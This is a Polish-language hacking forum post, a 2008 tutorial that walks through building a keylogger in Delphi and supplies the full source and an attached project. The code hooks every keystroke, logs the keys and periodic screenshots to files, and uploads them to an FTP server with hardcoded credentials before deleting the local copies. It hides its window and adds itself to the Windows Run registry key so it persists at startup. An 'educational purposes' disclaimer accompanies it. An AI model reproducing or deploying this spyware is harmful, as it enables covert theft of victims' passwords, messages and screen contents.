Forum komputerowe Dark-PC: [Delphi]Keylogger by Kanar - Forum komputerowe Dark-PC

Skocz do zawartości

Strona 1 z 1
  • Nie możesz napisać tematu
  • Nie możesz odpowiedzieć

[Delphi]Keylogger by Kanar Jak napisać keyloggera...

#1 Użytkownik nie jest zalogowany   KANAR123 Ikona

  • Pan programista (Delphi) xD
  • Ikona
  • Grupa Moderatorzy
  • Postów 528
  • Rejestracja 08-czerwiec 08
  • Gender:Male
  • Location:GdzieÅ›...W Polsce...
  • Interests:Programowanie, informatyka (wszytko co zwiÄ…zane z komputerami)... :)

Ikona postu  Napisano 09 sierpieÅ„ 2008 - 07:03

Witam.
Oto mój pierwszy ?Gotowiec? na tym forum :)
Cała treść tego artykułu została napisana tylko w celach edukacyjnych i nie biorę odpowiedzialności za jej używanie.

W Internecie znalazłem już wiele tematów ?Jak napisać keyloggera? ale wszystkie są przestarzałe i na wiele się już nie zdadzą pisane jeszcze pod Windows 98 :D
W artykule skupimy się nad funkcjami keyloggera i nad jego sprawnym działaniem.

To zaczynajmy, najlepiej najpierw pomyśleć jak ma ?Wyglądać? nasz keylogger:
Potrzebne rzeczy:
- Program Delphi7
- komponent KeyspyXP
- komponenty Indy 9
- mózg
Komponenty pobieramy z:
http://www.krolnet.pl/component/option,com...nc,select/id,5/

Teraz nakładamy na formę:
- 1x Memo ? z zakładki ?Standart?
- 1x IdMessage - z zakładki "Indy Misc"
- 1x IdAntiFreeze - z zakładki "Indy Misc"
- 1x IdSMTP - z zakładki "Indy Clients"
- 1x idftp ? z zakładki ?Indy Clients?
- 1-3x Timer z zakładki ?System?

Przedstawię wam 2 możliwości podstawowej funkcji, jaką jest wyłapywanie klawiszy:
Możemy skorzystać z gotowego komponentu, jakim jest:
- KeyspyXP
Można go pobrać z:
http://www.krolnet.pl/component/option,com...nc,select/id,5/
lub:
- założyć globalnego hooka na klawiaturę
Oto kod:

 
var
Hook:Integer;										// należy to dodać do zmiennych globalnych...
MessageBuffer:TEventMsg;

function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer := PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin
Form1.Memo1.Text := Form1.Memo1.Text + chr(MessageBuffer.paraml);
Result := 0;
end;
end;

else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Hook := SetWindowsHookEx(wh_journalrecord, play, HInstance, 0);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook);
end;


Można znaleźć też inny rodzaj Hooka, ale to już pozostawiam wam ...

Teraz przydałoby się zapisanie logów do pliku, co jakiś czas?
Właściwość Interval Timera (W Object inspektorze) ustawiamy na ?60000?(czas w ms)
Oto procedura:
procedure TForm1.Timer1Timer(Sender: TObject);
begin
with TStringList.Create do
begin
  if FileExists('C:\logi.txt') then
	LoadFromFile('C:\logi.txt')
  else
	begin
	  Memo1.Lines.SaveToFile('C:\logi.txt');
	  exit;
	end;
  text := text + Memo1.Lines.Text;
  SaveToFile('C:\logi.txt');
  Free();
  sleep(1000);
memo1.Clear;
end;
end;


Teraz zajmiemy się dodatkową funkcja, jaka jest tworzenie screenów (zrzutów ekranu).
Oto gotowa procedura:
procedure TForm1.Screen (Sender: TObject);
var
TJ : TJPEGIMAGE;
TB : TBITMAP;	   					   // Deklarujemy zmienne
TCa : Tcanvas;
begin
TCa := Tcanvas.Create;
TCa.Handle := getwindowDc(GetDesktopWindow);	  // Przejmujemy zrzut ekranu 
try
TB := Tbitmap.create;
TB.Width := Screen.Width;
TB.Height := Screen.Height;
TB.Canvas.CopyRect(Rect(0, 0, Screen.Width, Screen.Height), TCa, Rect(0,0, screen.Width , screen.Height ));
TJ := TJPEG.Image.Create;
TJ.Assign(TB);
TJ.SaveToFile('C:\screen.jpg');
finally
TCa.Free;
TB.Free;
TJ.Free;
end;
end;


Teraz rzecz ważna, jaką jest wysyłanie logów na maila:
Nie będę ingerował w gotowy kod wiec podam link do poprawnego rozwiązania:

http://4programmers....%C5%BCytkownika

Wysyłanie logów i screenów na ftp:
procedure TForm1.wyslijnaftp(Sender: TObject);
begin
IdFTP1.Username := ?admin@marek.cba.pl?;	 // login do konta ftp
IdFTP1.Password := ?marek123?;		  // hasło do konta ftp
IdFTP1.Host := ?ftp.cba.pl?;			 // serwer ftp
IdFTP1.Connect;			 // łączenie z ftp
try 
if FileExists('C:\logi.txt') then		// sprawdzamy czy plik istnieje...
begin 
IdFTP1.Put('C:\logi.txt', 'logi.txt');				 // Wysyłanie logów 
End;
if FileExists('C:\screen.jpg') then			   // sprawdzamy czy plik istnieje...
begin
IdFTP1.Put('C:\ screen.jpg', 'screen.jpg');   // Wysyłanie screena
End;
finally
IdFTP1.Disconnect;			 //rozłaczenie z ftp
end;
end;


Oczywiście całą procedure możemy wstawić w Timer, aby logi i screeny były wysyłane, co jakiś czas.

Konieczna rzecz to dodanie programu do rejestru, aby się uruchamiał wraz ze startem systemu:
Do sekcji uses dodajemy ?registry??
Do zmiennych globalnych dodajemy:
reg : TRegistry;
zmienna: string;
sp2 : string;

Po dodaniu kawałka kodu odpowiedzialnego za rejestr, ?Formcreate? powinno wyglądać tak:
procedure TForm1.FormCreate(Sender: TObject);
begin
application.showmainform:=false;				   // forma niewidoczna...
Hook := SetWindowsHookEx(wh_journalrecord, play, HInstance, 0);
timer1.Enabled:= true;
timer2.Enabled:= true;
timer3.Enabled:= false;
try
Zmienna := 'C:\key.exe';
sp2 :='smss.exe';
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
reg.WriteString('key', 'C:\key.exe');
finally
reg.CloseKey;
end;


Teraz wystarczy wstawić jeszcze 1 linijkę, aby forma nie była widoczna na pasku na dole ekranu, do procedury ?Formcreate? dodajemy:
application.showmainform:=false;


Cały kod programu mógłby wyglądać tak:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, IdAntiFreezeBase, IdAntiFreeze, IdMessageClient, IdSMTP,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdFTP,
  ExtCtrls, StdCtrls, jpeg, registry;

type
  TForm1 = class(TForm)
	Memo1: TMemo;
	Timer1: TTimer;
	Timer2: TTimer;
	Timer3: TTimer;
	IdFTP1: TIdFTP;
	procedure FormCreate(Sender: TObject);
	procedure FormDestroy(Sender: TObject);
	procedure Timer1Timer(Sender: TObject);
	procedure Timer2Timer(Sender: TObject);
	procedure Timer3Timer(Sender: TObject);
  private
	{ Private declarations }
  public
	{ Public declarations }
  end;

var
  Form1: TForm1;
  Hook:Integer;									  // Zmienne globalne
  MessageBuffer:TEventMsg;
  reg : TRegistry;
zmienna: string;
sp2 : string;

implementation

{$R *.dfm}

function Play(Code: integer; wParam, lParam: Longint): Longint; stdcall;
begin
case Code of
HC_ACTION: begin
MessageBuffer := PEventMsg(lParam)^;
if MessageBuffer.message = wm_KeyDown then
begin
Form1.Memo1.Text := Form1.Memo1.Text + chr(MessageBuffer.paraml);
Result := 0;
end;
end;
else begin
Result := CallNextHookEx(Hook, Code, wParam, lParam);
end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
application.showmainform:=false;				   // forma niewidoczna...
Hook := SetWindowsHookEx(wh_journalrecord, play, HInstance, 0);
timer1.Enabled:= true;
timer2.Enabled:= true;
timer3.Enabled:= false;
try
Zmienna := 'C:\key.exe';
sp2 :='smss.exe';
reg:=TRegistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',true);
reg.WriteString('key', 'C:\key.exe');
finally
reg.CloseKey;
end;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnHookWindowsHookEx(Hook);
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
with TStringList.Create do
begin
  if FileExists('C:\logi.txt') then
	LoadFromFile('C:\logi.txt')
  else
	begin
	  Memo1.Lines.SaveToFile('C:\logi.txt');	 // Procedura zapisujÄ…cÄ… logi co 1 min...
	  exit;
	end;
  text := text + Memo1.Lines.Text;
  SaveToFile('C:\logi.txt');
  Free();
sleep(1000);
memo1.Clear;
end;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
var
TJ : TJPEGIMAGE;
TB : TBITMAP;	   								  // Deklarujemy zmienne
TCa : Tcanvas;
begin
TCa := Tcanvas.Create;
TCa.Handle := getwindowDc(GetDesktopWindow);	// Przejmujemy zrzut ekranu
try
TB := Tbitmap.create;

TB.Width := Screen.Width;
TB.Height := Screen.Height;
TB.Canvas.CopyRect(Rect(0, 0, Screen.Width, Screen.Height), TCa, Rect(0,0, screen.Width , screen.Height ));
TJ := TJpegImage.Create;
TJ.Assign(TB);
TJ.SaveToFile('C:\screen.jpg');				// zapisujemy zrzut na dysku
finally
TCa.Free;
TB.Free;									  // zwalniamy pamięć
TJ.Free;
timer3.Enabled:=true;
end;
end;

procedure TForm1.Timer3Timer(Sender: TObject);
begin
IdFTP1.Username := 'admin@marek.cba.pl';	 // login do konta ftp
IdFTP1.Password := 'marek123';			   // hasło do konta ftp
IdFTP1.Host := 'ftp.cba.pl';				 // serwer ftp
IdFTP1.Connect;							  // łączenie z ftp
try 
if FileExists('C:\logi.txt') then				 // sprawdzamy czy plik istnieje...
begin
IdFTP1.Put('C:\logi.txt', 'logi.txt');	   // Wysyłanie logów
try
deletefile('C:\logi.txt');				   // usuwanie pliku logów
finally
End;
end;
if FileExists('C:\screen.jpg') then		  // sprawdzamy czy plik istnieje...
begin
IdFTP1.Put('C:\screen.jpg', 'screen.jpg');   // Wysyłanie screena
try
deletefile('C:\screen.jpg');				 // usuniecie pliku screena
finally
end;
End;
finally
IdFTP1.Disconnect;						   //rozłaczenie z ftp
timer3.Enabled:= false;
end;
end;
end.


Screen formy tego keyloggera:
http://img413.images...rbykanarym2.jpg

Konfiguracja Timer?ów:
Timer1 Interval = 60000
Timer2 Interval = 900000
Timer3 Interval = 10000

KEYLOGGER stworzony tylko do celów edukacyjnych by KANAR ( KANAR123)...
Nie biorę na siebie odpowiedzialności za jego niepoprawne używanie...

Dla kompletnych leni cały projekt znajduje się w załączniku. :D

To mój pierwszy Gotowiec więc proszę o wyrozumiałość wszelkie problemy proszę pisać w tym temacie... ;)
Dostosowałem ten art tak abyście skonstruowali swojego keyloggera osobiście, podąłem większość funkcji ;)

Pozdro :ph34r:

Załączone pliki


"Dobrzy hakerzy są sławni na cały świat, ale o hakerach geniuszach nikt nic nie wie."

"Aby pisać historię, trzeba być więcej niż człowiekiem, ponieważ autor trzymający pióro wielkiego sędziego, powinien być wolny od wszelkich uprzedzeń, interesów lub próżności"
---------
"Rzecz zdumiewająca, jak dużo jest spraw nieosiągalnych, do których ludzie dochodzą gdy są zdecydowani! Czy do nich należysz?"
---------
"Kiedy kobieta nie ma racji, pierwsza rzecz, którą należy zrobić, to natychmiast ją przeprosić."
---------
"Pieniądze nie są tak dobre, jak zły jest ich brak."
---------
"Jeżeli jest tak źle, że nic się nie da zrobić, to przynajmniej się nie denerwuj."

Dołączona grafika
Dołączona grafika Dołączona grafika


Dołączona grafika

Dołączona grafika
Dołączona grafika
0

Strona 1 z 1
  • Nie możesz napisać tematu
  • Nie możesz odpowiedzieć

Użytkownicy przeglądający ten temat: 1
0 użytkowników, 1 gości, 0 anonimowych